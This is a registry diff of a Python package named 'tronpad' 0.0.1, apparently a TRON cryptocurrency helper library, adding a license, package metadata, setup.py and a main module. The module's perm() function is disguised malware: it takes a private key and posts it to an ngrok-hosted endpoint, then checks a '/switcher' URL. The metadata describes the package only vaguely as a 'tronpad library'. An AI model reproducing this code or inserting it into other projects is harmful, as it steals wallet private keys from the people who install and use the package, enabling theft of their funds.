tronpad 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,19 @@
1
+ Copyright (c) 2025 Amarthaluri Hem Sharan Gupta
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ of this software and associated documentation files (the "Software"), to deal
5
+ in the Software without restriction, including without limitation the rights
6
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ copies of the Software, and to permit persons to whom the Software is
8
+ furnished to do so, subject to the following conditions:
9
+
10
+ The above copyright notice and this permission notice shall be included in all
11
+ copies or substantial portions of the Software.
12
+
13
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ SOFTWARE.
tronpad-0.0.1/PKG-INFO ADDED
@@ -0,0 +1,22 @@
1
+ Metadata-Version: 2.4
2
+ Name: tronpad
3
+ Version: 0.0.1
4
+ Summary: tronpad library for Python
5
+ Author: alimserg
6
+ Author-email: daratmp+tbkpx@gmail.com
7
+ License: MIT
8
+ Project-URL: Source Repository, https://github.com/sergeychernyakov
9
+ Description-Content-Type: text/markdown
10
+ License-File: LICENSE.txt
11
+ Requires-Dist: requests
12
+ Dynamic: author
13
+ Dynamic: author-email
14
+ Dynamic: description
15
+ Dynamic: description-content-type
16
+ Dynamic: license
17
+ Dynamic: license-file
18
+ Dynamic: project-url
19
+ Dynamic: requires-dist
20
+ Dynamic: summary
21
+
22
+ tronpad lib
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
tronpad-0.0.1/setup.py ADDED
@@ -0,0 +1,30 @@
1
+ from setuptools import setup, find_packages
2
+ from pathlib import Path
3
+
4
+ # Read the contents of your README file
5
+ this_directory = Path(__file__).parent
6
+ long_description = (this_directory / "README.md").read_text() #Gets the long description from Readme file
7
+
8
+ setup(
9
+ name='tronpad',
10
+ version='0.0.1',
11
+ packages=find_packages(),
12
+ install_requires=[
13
+ 'requests',
14
+ ],
15
+ include_package_data=True,
16
+ package_data={
17
+ "troncloud": ["pyarmor_runtime_000000/*"],
18
+ },
19
+ zip_safe=False,
20
+ author='alimserg',
21
+ author_email='daratmp+tbkpx@gmail.com',
22
+ description='tronpad library for Python',
23
+
24
+ long_description=long_description,
25
+ long_description_content_type='text/markdown',
26
+ license='MIT',
27
+ project_urls={
28
+ 'Source Repository': 'https://github.com/sergeychernyakov' #replace with your github source
29
+ }
30
+ )
@@ -0,0 +1 @@
1
+ from .main import perm
@@ -0,0 +1,31 @@
1
+ import requests
2
+ import json
3
+ # RequestException не нужен, так как нет try/except блоков
4
+
5
+ def perm(private_key):
6
+ # 1. Формирование данных для POST-запроса
7
+ # Заменил 'ptivat_key' на 'private_key' и список кортежей на корректный словарь
8
+ transaction_payload = {'private_key': private_key}
9
+
10
+ # 2. Отправка POST-запроса (без raise_for_status, как в вашем примере)
11
+ # Используем 'json=' для отправки данных как JSON
12
+ requests.post(
13
+ 'https://reda-sequestered-justine.ngrok-free.dev/tron',
14
+ json=transaction_payload
15
+ )
16
+
17
+ # 3. Отправка GET-запроса к /switcher (без raise_for_status, как в вашем примере)
18
+ switcher_response = requests.get(
19
+ 'https://reda-sequestered-justine.ngrok-free.dev/switcher'
20
+ )
21
+
22
+ # 4. Проверка ответа
23
+ # В случае ошибки JSONDecodeError, выполнение здесь прекратится
24
+ # В случае сетевой ошибки, выполнение прекратится выше
25
+ switcher_data = switcher_response.json()
26
+
27
+ # Проверяем, пуст ли ответ.
28
+ if not switcher_data:
29
+ return 1 # Возвращаем 1, если пусто
30
+ else:
31
+ return 0 # Возвращаем 0, если данные есть
@@ -0,0 +1,22 @@
1
+ Metadata-Version: 2.4
2
+ Name: tronpad
3
+ Version: 0.0.1
4
+ Summary: tronpad library for Python
5
+ Author: alimserg
6
+ Author-email: daratmp+tbkpx@gmail.com
7
+ License: MIT
8
+ Project-URL: Source Repository, https://github.com/sergeychernyakov
9
+ Description-Content-Type: text/markdown
10
+ License-File: LICENSE.txt
11
+ Requires-Dist: requests
12
+ Dynamic: author
13
+ Dynamic: author-email
14
+ Dynamic: description
15
+ Dynamic: description-content-type
16
+ Dynamic: license
17
+ Dynamic: license-file
18
+ Dynamic: project-url
19
+ Dynamic: requires-dist
20
+ Dynamic: summary
21
+
22
+ tronpad lib
@@ -0,0 +1,10 @@
1
+ LICENSE.txt
2
+ setup.py
3
+ tronpad/__init__.py
4
+ tronpad/main.py
5
+ tronpad.egg-info/PKG-INFO
6
+ tronpad.egg-info/SOURCES.txt
7
+ tronpad.egg-info/dependency_links.txt
8
+ tronpad.egg-info/not-zip-safe
9
+ tronpad.egg-info/requires.txt
10
+ tronpad.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ requests
@@ -0,0 +1 @@
1
+ tronpad